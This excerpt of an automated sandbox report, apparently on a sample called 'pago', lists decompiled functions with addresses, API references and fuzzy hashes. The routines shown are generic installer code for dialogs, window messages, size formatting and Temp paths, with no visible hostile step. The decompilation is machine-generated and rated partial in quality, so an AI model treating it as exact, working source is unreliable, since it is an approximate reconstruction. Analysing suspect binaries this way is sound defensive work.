                                                                  							goto L56;
                                                                  						}
                                                                  						goto L49;
                                                                  					}
                                                                  					_t58 = _t57 - 1;
                                                                  					__eflags = _t58;
                                                                  					if(_t58 == 0) {
                                                                  						__eflags =  *((short*)(_t81 + 2)) - 0x3e;
                                                                  						if( *((short*)(_t81 + 2)) != 0x3e) {
                                                                  							__eflags = _t87 - _v12;
                                                                  							if(__eflags < 0) {
                                                                  								goto L56;
                                                                  							}
                                                                  							if(__eflags > 0) {
                                                                  								goto L49;
                                                                  							}
                                                                  							__eflags = _t90 - _t77;
                                                                  							if(_t90 <= _t77) {
                                                                  								goto L56;
                                                                  							}
                                                                  							goto L49;
                                                                  						}
                                                                  						__eflags =  *((short*)(_t81 + 4)) - 0x3e;
                                                                  						_t85 = _t87;
                                                                  						_t59 = _t90;
                                                                  						_t83 = _t77;
                                                                  						if( *((short*)(_t81 + 4)) != 0x3e) {
                                                                  							_t48 = E732D3070(_t59, _t83, _t85);
                                                                  						} else {
                                                                  							_t48 = E732D30A0(_t59, _t83, _t85);
                                                                  						}
                                                                  						goto L58;
                                                                  					}
                                                                  					_t60 = _t58 - 0x20;
                                                                  					__eflags = _t60;
                                                                  					if(_t60 == 0) {
                                                                  						_t90 = _t90 ^ _t77;
                                                                  						_t87 = _t87 ^ _v12;
                                                                  						goto L59;
                                                                  					}
                                                                  					_t61 = _t60 - 0x1e;
                                                                  					__eflags = _t61;
                                                                  					if(_t61 == 0) {
                                                                  						__eflags =  *((short*)(_t81 + 2)) - 0x7c;
                                                                  						if( *((short*)(_t81 + 2)) != 0x7c) {
                                                                  							_t90 = _t90 | _t77;
                                                                  							_t87 = _t87 | _v12;
                                                                  							goto L59;
                                                                  						}
                                                                  						__eflags = _t90 | _t87;
                                                                  						if((_t90 | _t87) != 0) {
                                                                  							goto L49;
                                                                  						}
                                                                  						__eflags = _t77 | _v12;
                                                                  						if((_t77 | _v12) != 0) {
                                                                  							goto L49;
                                                                  						}
                                                                  						goto L56;
                                                                  					}
                                                                  					__eflags = _t61 == 0;
                                                                  					if(_t61 == 0) {
                                                                  						_t90 =  !_t90;
                                                                  						_t87 =  !_t87;
                                                                  					}
                                                                  					goto L59;
                                                                  				}
                                                                  				if(_t101 == 0) {
                                                                  					L21:
                                                                  					__eflags = _t77 | _v12;
                                                                  					if((_t77 | _v12) != 0) {
                                                                  						_v24 = E732D2EE0(_t90, _t87, _t77, _v12);
                                                                  						_v20 = _t85;
                                                                  						_t48 = E732D2F90(_t90, _t87, _t77, _v12);
                                                                  						_t81 = _a8;
                                                                  					} else {
                                                                  						_v24 = _v24 & 0x00000000;
                                                                  						_v20 = _v20 & 0x00000000;
                                                                  						_t48 = _t90;
                                                                  						_t85 = _t87;
                                                                  					}
                                                                  					__eflags =  *_t81 - 0x2f;
                                                                  					if( *_t81 != 0x2f) {
                                                                  						goto L58;
                                                                  					} else {
                                                                  						_t90 = _v24;
                                                                  						_t87 = _v20;
                                                                  						goto L59;
                                                                  					}
                                                                  				}
                                                                  				_t67 = _t46 - 0x21;
                                                                  				if(_t67 == 0) {
                                                                  					_t48 = 0;
                                                                  					__eflags = _t90 | _t87;
                                                                  					if((_t90 | _t87) != 0) {
                                                                  						goto L57;
                                                                  					}
                                                                  					goto L50;
                                                                  				}
                                                                  				_t68 = _t67 - 4;
                                                                  				if(_t68 == 0) {
                                                                  					goto L21;
                                                                  				}
                                                                  				_t69 = _t68 - 1;
                                                                  				if(_t69 == 0) {
                                                                  					__eflags =  *((short*)(_t81 + 2)) - 0x26;
                                                                  					if( *((short*)(_t81 + 2)) != 0x26) {
                                                                  						_t90 = _t90 & _t77;
                                                                  						_t87 = _t87 & _v12;
                                                                  						goto L59;
                                                                  					}
                                                                  					__eflags = _t90 | _t87;
                                                                  					if((_t90 | _t87) == 0) {
                                                                  						goto L56;
                                                                  					}
                                                                  					__eflags = _t77 | _v12;
                                                                  					if((_t77 | _v12) == 0) {
                                                                  						goto L56;
                                                                  					}
                                                                  					goto L49;
                                                                  				}
                                                                  				_t70 = _t69 - 4;
                                                                  				if(_t70 == 0) {
                                                                  					_t48 = E732D2EA0(_t90, _t87, _t77, _v12);
                                                                  					goto L58;
                                                                  				} else {
                                                                  					_t71 = _t70 - 1;
                                                                  					if(_t71 == 0) {
                                                                  						_t90 = _t90 + _t77;
                                                                  						asm("adc edi, [ebp-0x8]");
                                                                  					} else {
                                                                  						if(_t71 == 0) {
                                                                  							_t90 = _t90 - _t77;
                                                                  							asm("sbb edi, [ebp-0x8]");
                                                                  						}
                                                                  					}
                                                                  					goto L59;
                                                                  				}
                                                                  			}





























                                                                  0x732d1979
                                                                  0x732d1983
                                                                  0x732d198c
                                                                  0x732d198f
                                                                  0x732d1994
                                                                  0x732d199d
                                                                  0x732d19a6
                                                                  0x732d19a8
                                                                  0x732d19af
                                                                  0x732d19b1
                                                                  0x732d19b4
                                                                  0x732d19bb
                                                                  0x732d19c9
                                                                  0x732d19d2
                                                                  0x732d19d7
                                                                  0x732d19da
                                                                  0x732d19e0
                                                                  0x732d19e0
                                                                  0x732d19e3
                                                                  0x732d19e6
                                                                  0x732d19e9
                                                                  0x732d1ab1
                                                                  0x732d1ab1
                                                                  0x732d1ab4
                                                                  0x732d1b34
                                                                  0x732d1b39
                                                                  0x732d1b48
                                                                  0x732d1b4b
                                                                  0x732d1b53
                                                                  0x732d1b53
                                                                  0x732d1b53
                                                                  0x732d1b55
                                                                  0x732d1b55
                                                                  0x732d1b56
                                                                  0x732d1b56
                                                                  0x732d1b58
                                                                  0x732d1b5a
                                                                  0x732d1b60
                                                                  0x732d1b69
                                                                  0x732d1b7a
                                                                  0x732d1b85
                                                                  0x732d1b85
                                                                  0x732d1b4d
                                                                  0x732d1b2f
                                                                  0x732d1b2f
                                                                  0x732d1b31
                                                                  0x732d1b31
                                                                  0x00000000
                                                                  0x732d1b31
                                                                  0x732d1b4f
                                                                  0x732d1b51
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1b51
                                                                  0x732d1b3d
                                                                  0x732d1b41
                                                                  0x00000000
                                                                  0x732d1b41
                                                                  0x732d1ab6
                                                                  0x732d1ab6
                                                                  0x732d1ab7
                                                                  0x732d1b26
                                                                  0x732d1b28
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1b2a
                                                                  0x732d1b2d
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1b2d
                                                                  0x732d1ab9
                                                                  0x732d1ab9
                                                                  0x732d1aba
                                                                  0x732d1af7
                                                                  0x732d1afc
                                                                  0x732d1b19
                                                                  0x732d1b1c
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1b1e
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1b20
                                                                  0x732d1b22
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1b24
                                                                  0x732d1afe
                                                                  0x732d1b03
                                                                  0x732d1b05
                                                                  0x732d1b07
                                                                  0x732d1b09
                                                                  0x732d1b12
                                                                  0x732d1b0b
                                                                  0x732d1b0b
                                                                  0x732d1b0b
                                                                  0x00000000
                                                                  0x732d1b09
                                                                  0x732d1abc
                                                                  0x732d1abc
                                                                  0x732d1abf
                                                                  0x732d1af0
                                                                  0x732d1af2
                                                                  0x00000000
                                                                  0x732d1af2
                                                                  0x732d1ac1
                                                                  0x732d1ac1
                                                                  0x732d1ac4
                                                                  0x732d1ad7
                                                                  0x732d1adc
                                                                  0x732d1ae9
                                                                  0x732d1aeb
                                                                  0x00000000
                                                                  0x732d1aeb
                                                                  0x732d1ade
                                                                  0x732d1ae0
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1ae2
                                                                  0x732d1ae5
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1ae7
                                                                  0x732d1ac7
                                                                  0x732d1ac8
                                                                  0x732d1ace
                                                                  0x732d1ad0
                                                                  0x732d1ad0
                                                                  0x00000000
                                                                  0x732d1ac8
                                                                  0x732d19ef
                                                                  0x732d1a68
                                                                  0x732d1a6a
                                                                  0x732d1a6d
                                                                  0x732d1a8b
                                                                  0x732d1a8e
                                                                  0x732d1a94
                                                                  0x732d1a99
                                                                  0x732d1a6f
                                                                  0x732d1a6f
                                                                  0x732d1a73
                                                                  0x732d1a77
                                                                  0x732d1a79
                                                                  0x732d1a79
                                                                  0x732d1a9c
                                                                  0x732d1aa0
                                                                  0x00000000
                                                                  0x732d1aa6
                                                                  0x732d1aa6
                                                                  0x732d1aa9
                                                                  0x00000000
                                                                  0x732d1aa9
                                                                  0x732d1aa0
                                                                  0x732d19f1
                                                                  0x732d19f4
                                                                  0x732d1a59
                                                                  0x732d1a5b
                                                                  0x732d1a5d
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1a63
                                                                  0x732d19f6
                                                                  0x732d19f9
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d19fb
                                                                  0x732d19fc
                                                                  0x732d1a32
                                                                  0x732d1a37
                                                                  0x732d1a4f
                                                                  0x732d1a51
                                                                  0x00000000
                                                                  0x732d1a51
                                                                  0x732d1a39
                                                                  0x732d1a3b
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1a41
                                                                  0x732d1a44
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1a4a
                                                                  0x732d19fe
                                                                  0x732d1a01
                                                                  0x732d1a28
                                                                  0x00000000
                                                                  0x732d1a03
                                                                  0x732d1a03
                                                                  0x732d1a04
                                                                  0x732d1a18
                                                                  0x732d1a1a
                                                                  0x732d1a06
                                                                  0x732d1a08
                                                                  0x732d1a0e
                                                                  0x732d1a10
                                                                  0x732d1a10
                                                                  0x732d1a08
                                                                  0x00000000
                                                                  0x732d1a04

                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.905537534.00000000732D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 732D0000, based on PE: true
                                                                  • Associated: 00000000.00000002.905524480.00000000732D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905546264.00000000732D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905553229.00000000732D6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_732d0000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: FreeGlobal
                                                                  • String ID:
                                                                  • API String ID: 2979337801-0
                                                                  • Opcode ID: 5cb183d8026310c9f8b8b30e253383eaf2d3f1850c92e211cffcf0f1883fd4b8
                                                                  • Instruction ID: dc9c0d98887c959fc1198bf4db542519249d5b4a3ffd10012d3ad38c1f54f0f9
                                                                  • Opcode Fuzzy Hash: 5cb183d8026310c9f8b8b30e253383eaf2d3f1850c92e211cffcf0f1883fd4b8
                                                                  • Instruction Fuzzy Hash: 40510932F3011AABEB869FB4C44479D7BBAEB44300F148159D406B3E94F6B5BAC5C791
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 77%
                                                                  			E00401D81(void* __ebx, void* __edx) {
                                                                  				struct HWND__* _t30;
                                                                  				WCHAR* _t38;
                                                                  				void* _t48;
                                                                  				void* _t53;
                                                                  				signed int _t55;
                                                                  				signed int _t60;
                                                                  				long _t63;
                                                                  				void* _t65;
                                                                  
                                                                  				_t53 = __ebx;
                                                                  				if(( *(_t65 - 0x23) & 0x00000001) == 0) {
                                                                  					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x28));
                                                                  				} else {
                                                                  					E00402D84(2);
                                                                  					 *((intOrPtr*)(__ebp - 0x10)) = __edx;
                                                                  				}
                                                                  				_t55 =  *(_t65 - 0x24);
                                                                  				 *(_t65 + 8) = _t30;
                                                                  				_t60 = _t55 & 0x00000004;
                                                                  				 *(_t65 - 0x38) = _t55 & 0x00000003;
                                                                  				 *(_t65 - 0x18) = _t55 >> 0x1f;
                                                                  				 *(_t65 - 0x40) = _t55 >> 0x0000001e & 0x00000001;
                                                                  				if((_t55 & 0x00010000) == 0) {
                                                                  					_t38 =  *(_t65 - 0x2c) & 0x0000ffff;
                                                                  				} else {
                                                                  					_t38 = E00402DA6(0x11);
                                                                  				}
                                                                  				 *(_t65 - 0x44) = _t38;
                                                                  				GetClientRect( *(_t65 + 8), _t65 - 0x60);
                                                                  				asm("sbb esi, esi");
                                                                  				_t63 = LoadImageW( ~_t60 &  *0x434f00,  *(_t65 - 0x44),  *(_t65 - 0x38),  *(_t65 - 0x58) *  *(_t65 - 0x18),  *(_t65 - 0x54) *  *(_t65 - 0x40),  *(_t65 - 0x24) & 0x0000fef0);
                                                                  				_t48 = SendMessageW( *(_t65 + 8), 0x172,  *(_t65 - 0x38), _t63);
                                                                  				if(_t48 != _t53 &&  *(_t65 - 0x38) == _t53) {
                                                                  					DeleteObject(_t48);
                                                                  				}
                                                                  				if( *((intOrPtr*)(_t65 - 0x30)) >= _t53) {
                                                                  					_push(_t63);
                                                                  					E00406484();
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t65 - 4));
                                                                  				return 0;
                                                                  			}











                                                                  0x00401d81
                                                                  0x00401d85
                                                                  0x00401d9a
                                                                  0x00401d87
                                                                  0x00401d89
                                                                  0x00401d8f
                                                                  0x00401d8f
                                                                  0x00401da0
                                                                  0x00401da3
                                                                  0x00401dad
                                                                  0x00401db0
                                                                  0x00401db8
                                                                  0x00401dc9
                                                                  0x00401dcc
                                                                  0x00401dd7
                                                                  0x00401dce
                                                                  0x00401dd0
                                                                  0x00401dd0
                                                                  0x00401ddb
                                                                  0x00401de5
                                                                  0x00401e0c
                                                                  0x00401e1b
                                                                  0x00401e29
                                                                  0x00401e31
                                                                  0x00401e39
                                                                  0x00401e39
                                                                  0x00401e42
                                                                  0x00401e48
                                                                  0x00402ba4
                                                                  0x00402ba4
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                                                  • String ID:
                                                                  • API String ID: 1849352358-0
                                                                  • Opcode ID: 0d14a93a4aa2f7ddc0f91d11ffebc05af74b5a93feb44974f4da7284e64bbe2b
                                                                  • Instruction ID: b69f8f45c5cbb28dd5603d9b1d667d2ce3d3910c133b75fee4ecc707c572ca23
                                                                  • Opcode Fuzzy Hash: 0d14a93a4aa2f7ddc0f91d11ffebc05af74b5a93feb44974f4da7284e64bbe2b
                                                                  • Instruction Fuzzy Hash: 3321F672904119AFCB05DBA4DE45AEEBBB5EF08314F14003AFA45F62A0DB389951DB98
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 59%
                                                                  			E00401C43(intOrPtr __edx) {
                                                                  				int _t29;
                                                                  				long _t30;
                                                                  				signed int _t32;
                                                                  				WCHAR* _t35;
                                                                  				long _t36;
                                                                  				int _t41;
                                                                  				signed int _t42;
                                                                  				int _t46;
                                                                  				int _t56;
                                                                  				intOrPtr _t57;
                                                                  				struct HWND__* _t63;
                                                                  				void* _t64;
                                                                  
                                                                  				_t57 = __edx;
                                                                  				_t29 = E00402D84(3);
                                                                  				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
                                                                  				 *(_t64 - 0x18) = _t29;
                                                                  				_t30 = E00402D84(4);
                                                                  				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
                                                                  				 *(_t64 + 8) = _t30;
                                                                  				if(( *(_t64 - 0x1c) & 0x00000001) != 0) {
                                                                  					 *((intOrPtr*)(__ebp - 0x18)) = E00402DA6(0x33);
                                                                  				}
                                                                  				__eflags =  *(_t64 - 0x1c) & 0x00000002;
                                                                  				if(( *(_t64 - 0x1c) & 0x00000002) != 0) {
                                                                  					 *(_t64 + 8) = E00402DA6(0x44);
                                                                  				}
                                                                  				__eflags =  *((intOrPtr*)(_t64 - 0x34)) - 0x21;
                                                                  				_push(1);
                                                                  				if(__eflags != 0) {
                                                                  					_t61 = E00402DA6();
                                                                  					_t32 = E00402DA6();
                                                                  					asm("sbb ecx, ecx");
                                                                  					asm("sbb eax, eax");
                                                                  					_t35 =  ~( *_t31) & _t61;
                                                                  					__eflags = _t35;
                                                                  					_t36 = FindWindowExW( *(_t64 - 0x18),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
                                                                  					goto L10;
                                                                  				} else {
                                                                  					_t63 = E00402D84();
                                                                  					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
                                                                  					_t41 = E00402D84(2);
                                                                  					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
                                                                  					_t56 =  *(_t64 - 0x1c) >> 2;
                                                                  					if(__eflags == 0) {
                                                                  						_t36 = SendMessageW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8));
                                                                  						L10:
                                                                  						 *(_t64 - 0x38) = _t36;
                                                                  					} else {
                                                                  						_t42 = SendMessageTimeoutW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8), _t46, _t56, _t64 - 0x38);
                                                                  						asm("sbb eax, eax");
                                                                  						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
                                                                  					}
                                                                  				}
                                                                  				__eflags =  *((intOrPtr*)(_t64 - 0x30)) - _t46;
                                                                  				if( *((intOrPtr*)(_t64 - 0x30)) >= _t46) {
                                                                  					_push( *(_t64 - 0x38));
                                                                  					E00406484();
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t64 - 4));
                                                                  				return 0;
                                                                  			}















                                                                  0x00401c43
                                                                  0x00401c45
                                                                  0x00401c4c
                                                                  0x00401c4f
                                                                  0x00401c52
                                                                  0x00401c5c
                                                                  0x00401c60
                                                                  0x00401c63
                                                                  0x00401c6c
                                                                  0x00401c6c
                                                                  0x00401c6f
                                                                  0x00401c73
                                                                  0x00401c7c
                                                                  0x00401c7c
                                                                  0x00401c7f
                                                                  0x00401c83
                                                                  0x00401c85
                                                                  0x00401cda
                                                                  0x00401cdc
                                                                  0x00401ce7
                                                                  0x00401cf1
                                                                  0x00401cf4
                                                                  0x00401cf4
                                                                  0x00401cfd
                                                                  0x00000000
                                                                  0x00401c87
                                                                  0x00401c8e
                                                                  0x00401c90
                                                                  0x00401c93
                                                                  0x00401c99
                                                                  0x00401ca0
                                                                  0x00401ca3
                                                                  0x00401ccb
                                                                  0x00401d03
                                                                  0x00401d03
                                                                  0x00401ca5
                                                                  0x00401cb3
                                                                  0x00401cbb
                                                                  0x00401cbe
                                                                  0x00401cbe
                                                                  0x00401ca3
                                                                  0x00401d06
                                                                  0x00401d09
                                                                  0x00401d0f
                                                                  0x00402ba4
                                                                  0x00402ba4
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • SendMessageTimeoutW.USER32 ref: 00401CB3
                                                                  • SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$Timeout
                                                                  • String ID: !
                                                                  • API String ID: 1777923405-2657877971
                                                                  • Opcode ID: 56378305e9cef062e59ac21505f1e4874eb63478d5e018d68d94a8de4df44513
                                                                  • Instruction ID: 549e056fbb7746b1afa8e7352ee9f1cbf83a3633853e14f9ff1f16dc1dd81c22
                                                                  • Opcode Fuzzy Hash: 56378305e9cef062e59ac21505f1e4874eb63478d5e018d68d94a8de4df44513
                                                                  • Instruction Fuzzy Hash: 46219C7190420AAFEF05AFA4D94AAAE7BB4FF84304F14453EF601B61D0D7B88941CB98
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 77%
                                                                  			E00404D46(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
                                                                  				char _v68;
                                                                  				char _v132;
                                                                  				void* __ebx;
                                                                  				void* __edi;
                                                                  				void* __esi;
                                                                  				signed int _t23;
                                                                  				signed int _t24;
                                                                  				void* _t31;
                                                                  				void* _t33;
                                                                  				void* _t34;
                                                                  				void* _t44;
                                                                  				signed int _t46;
                                                                  				signed int _t50;
                                                                  				signed int _t52;
                                                                  				signed int _t53;
                                                                  				signed int _t55;
                                                                  
                                                                  				_t23 = _a16;
                                                                  				_t53 = _a12;
                                                                  				_t44 = 0xffffffdc;
                                                                  				if(_t23 == 0) {
                                                                  					_push(0x14);
                                                                  					_pop(0);
                                                                  					_t24 = _t53;
                                                                  					if(_t53 < 0x100000) {
                                                                  						_push(0xa);
                                                                  						_pop(0);
                                                                  						_t44 = 0xffffffdd;
                                                                  					}
                                                                  					if(_t53 < 0x400) {
                                                                  						_t44 = 0xffffffde;
                                                                  					}
                                                                  					if(_t53 < 0xffff3333) {
                                                                  						_t52 = 0x14;
                                                                  						asm("cdq");
                                                                  						_t24 = 1 / _t52 + _t53;
                                                                  					}
                                                                  					_t25 = _t24 & 0x00ffffff;
                                                                  					_t55 = _t24 >> 0;
                                                                  					_t46 = 0xa;
                                                                  					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
                                                                  				} else {
                                                                  					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
                                                                  					_t50 = 0;
                                                                  				}
                                                                  				_t31 = E0040657A(_t44, _t50, _t55,  &_v68, 0xffffffdf);
                                                                  				_t33 = E0040657A(_t44, _t50, _t55,  &_v132, _t44);
                                                                  				_t34 = E0040657A(_t44, _t50, 0x42d268, 0x42d268, _a8);
                                                                  				wsprintfW(_t34 + lstrlenW(0x42d268) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
                                                                  				return SetDlgItemTextW( *0x433ed8, _a4, 0x42d268);
                                                                  			}



















                                                                  0x00404d4f
                                                                  0x00404d54
                                                                  0x00404d5c
                                                                  0x00404d5d
                                                                  0x00404d6a
                                                                  0x00404d72
                                                                  0x00404d73
                                                                  0x00404d75
                                                                  0x00404d77
                                                                  0x00404d79
                                                                  0x00404d7c
                                                                  0x00404d7c
                                                                  0x00404d83
                                                                  0x00404d89
                                                                  0x00404d89
                                                                  0x00404d90
                                                                  0x00404d97
                                                                  0x00404d9a
                                                                  0x00404d9d
                                                                  0x00404d9d
                                                                  0x00404da1
                                                                  0x00404db1
                                                                  0x00404db3
                                                                  0x00404db6
                                                                  0x00404d5f
                                                                  0x00404d5f
                                                                  0x00404d66
                                                                  0x00404d66
                                                                  0x00404dbe
                                                                  0x00404dc9
                                                                  0x00404ddf
                                                                  0x00404df0
                                                                  0x00404e0c

                                                                  APIs
                                                                  • lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DE7
                                                                  • wsprintfW.USER32 ref: 00404DF0
                                                                  • SetDlgItemTextW.USER32 ref: 00404E03
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: ItemTextlstrlenwsprintf
                                                                  • String ID: %u.%u%s%s
                                                                  • API String ID: 3540041739-3551169577
                                                                  • Opcode ID: 5273c8e1ef6d25911cf1b9a0066a557bca8c43180978e8caf7984b32bac85cc4
                                                                  • Instruction ID: d7f2b51e3f2153b105aad6c1cbcae815e44f670c765de83d30fbb221df5484fa
                                                                  • Opcode Fuzzy Hash: 5273c8e1ef6d25911cf1b9a0066a557bca8c43180978e8caf7984b32bac85cc4
                                                                  • Instruction Fuzzy Hash: AC11D573A041283BDB10656DAC45E9E369CAF81334F254237FA66F21D1EA78D91182E8
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 58%
                                                                  			E00405E0C(WCHAR* _a4) {
                                                                  				WCHAR* _t9;
                                                                  
                                                                  				_t9 = _a4;
                                                                  				_push( &(_t9[lstrlenW(_t9)]));
                                                                  				_push(_t9);
                                                                  				if( *(CharPrevW()) != 0x5c) {
                                                                  					lstrcatW(_t9, 0x40a014);
                                                                  				}
                                                                  				return _t9;
                                                                  			}




                                                                  0x00405e0d
                                                                  0x00405e1a
                                                                  0x00405e1b
                                                                  0x00405e26
                                                                  0x00405e2e
                                                                  0x00405e2e
                                                                  0x00405e36

                                                                  APIs
                                                                  • lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040351A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405E12
                                                                  • CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040351A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405E1C
                                                                  • lstrcatW.KERNEL32(?,0040A014), ref: 00405E2E
                                                                  Strings
                                                                  • C:\Users\user\AppData\Local\Temp\, xrefs: 00405E0C
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
